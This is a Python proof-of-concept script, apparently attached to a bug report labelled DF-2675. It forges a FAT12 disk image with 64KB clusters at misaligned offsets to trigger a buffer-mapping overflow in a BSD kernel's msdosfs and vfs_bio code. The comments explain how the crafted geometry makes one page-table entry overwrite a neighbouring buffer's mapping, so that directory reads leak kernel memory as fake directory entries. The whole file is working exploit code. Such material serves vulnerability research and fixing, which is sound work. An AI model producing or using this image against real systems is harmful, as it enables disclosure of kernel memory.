DF-2675 / mkfat64k_aligned.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | #!/usr/bin/env python3 # DF-2675 image forger: FAT12 with 64KB clusters at non-page-aligned device offsets. # # Geometry chosen so that: # - pm_bpcluster = bps*spc = 512*128 = 65536 == MAXBSIZE (passes the # SecPerClust*BlkPerSec > MAXBSIZE/DEV_BSIZE mount check # at msdosfs_vfsops.c:427 with 128 == 128) # - first data cluster begins at DEV_BSIZE block 12 -> byte offset 6144, # i.e. (loffset & PAGE_MASK) == 2048 for EVERY directory cluster. # => getblk(devvp, 6144 + k*65536, 65536) in msdosfs_read (isadir path, # msdosfs_vnops.c:515-522) / msdosfs_lookup / msdosfs_mkdir allocates # desiredpages = (2048+65536+4095)>>12 = 17 pages into a 16-page # (MAXBSIZE) per-header KVA slot -> pmap_qenter writes one PTE into # the NEXT buffer header's slot (vfs_bio.c:3212). # # D00..D19 are pre-filled directories whose entries run to slot 1983 # (byte offset 63488 = 65536-2048, exactly where the aliased region starts) # with a SLOT_EMPTY terminator at slot 1984 *inside* the aliased region, so # a normal readdir stops at 1984, but once the neighbor slot's PTE replaces # our page-16 mapping, readdir continues into the neighbor's page and leaks # its bytes as bogus dirents. import struct, sys BPS = 512 SPC = 128 # sectors per cluster -> 64KB clusters RESV = 7 NFATS = 2 FATSEC = 8 # odd -> first data cluster lands at block 12 ROOTENTS = 16 TOTSEC = 4096 NFILLEDDIRS = 20 FIRSTCLUST_BLK = RESV + NFATS*FATSEC + (ROOTENTS*32 + BPS-1)//BPS # = 12 def dirent(name, attr, clus, size=0): e = bytearray(32) n, ext = (name.split('.') + [''])[:2] nb = n.upper().ljust(8).encode() eb = ext.upper().ljust(3).encode() e[0:8] = nb; e[8:11] = eb e[11] = attr struct.pack_into('<H', e, 26, clus & 0xFFFF) struct.pack_into('<I', e, 28, size) return bytes(e) img = bytearray(TOTSEC * BPS) # ---- boot sector / BPB ------------------------------------------------- img[0:3] = b'\xEB\x3C\x90' img[3:11] = b'MSDOS5.0' struct.pack_into('<H', img, 11, BPS) img[13] = SPC struct.pack_into('<H', img, 14, RESV) img[16] = NFATS struct.pack_into('<H', img, 17, ROOTENTS) struct.pack_into('<H', img, 19, TOTSEC) img[21] = 0xF8 struct.pack_into('<H', img, 22, FATSEC) struct.pack_into('<H', img, 24, 63) # sec/track struct.pack_into('<H', img, 26, 255) # heads img[36] = 0x80 img[38] = 0x29 struct.pack_into('<I', img, 39, 0x1337BEEF) img[43:54] = b'NO NAME ' img[54:62] = b'FAT12 ' img[510:512] = b'\x55\xAA' # ---- FAT12 -------------------------------------------------------------- nentries = (TOTSEC - FIRSTCLUST_BLK)//SPC + 3 fat = bytearray(FATSEC * BPS) def set12(i, val): n = (i * 3) // 2 if i % 2 == 0: fat[n] = val & 0xFF fat[n+1] = (fat[n+1] & 0xF0) | ((val >> 8) & 0x0F) else: fat[n] = (fat[n] & 0x0F) | ((val << 4) & 0xF0) fat[n+1] = (val >> 4) & 0xFF set12(0, 0xFF8) # media set12(1, 0xFFF) for c in range(2, 2 + NFILLEDDIRS): set12(c, 0xFFF) # EOF: one cluster per directory for f in range(NFATS): off = (RESV + f*FATSEC) * BPS img[off:off+len(fat)] = fat # ---- root directory ------------------------------------------------------ rootoff = (RESV + NFATS*FATSEC) * BPS for i in range(NFILLEDDIRS): img[rootoff + i*32 : rootoff + i*32 + 32] = dirent('D%02d' % i, 0x10, 2 + i) # ---- filled directory clusters ------------------------------------------- for i in range(NFILLEDDIRS): off = (FIRSTCLUST_BLK + i*SPC) * BPS assert off % BPS == 0 img[off:off+32] = dirent('.', 0x10, 2 + i) # self img[off+32:off+64] = dirent('..', 0x10, 0) # root (FAT12) # slots 2..1983 = F0000..F1981 ; slot 1984 (offset 63488) = SLOT_EMPTY for s in range(2, 1984): e = dirent('F%04d' % (s - 2), 0x20, 0) img[off + s*32 : off + s*32 + 32] = e img[off + 1984*32] = 0x00 # terminator inside the aliased region out = sys.argv[1] if len(sys.argv) > 1 else 'fat64k.img' with open(out, 'wb') as f: f.write(img) print('wrote %s (%d bytes): first data cluster block %d byte-off %d xoff %d, ' 'cluster size %d, filled dirs %d, alias region starts at cluster byte %d' % (out, len(img), FIRSTCLUST_BLK, FIRSTCLUST_BLK*BPS, FIRSTCLUST_BLK*BPS % 4096, SPC*BPS, NFILLEDDIRS, 65536 - (FIRSTCLUST_BLK*BPS % 4096))) |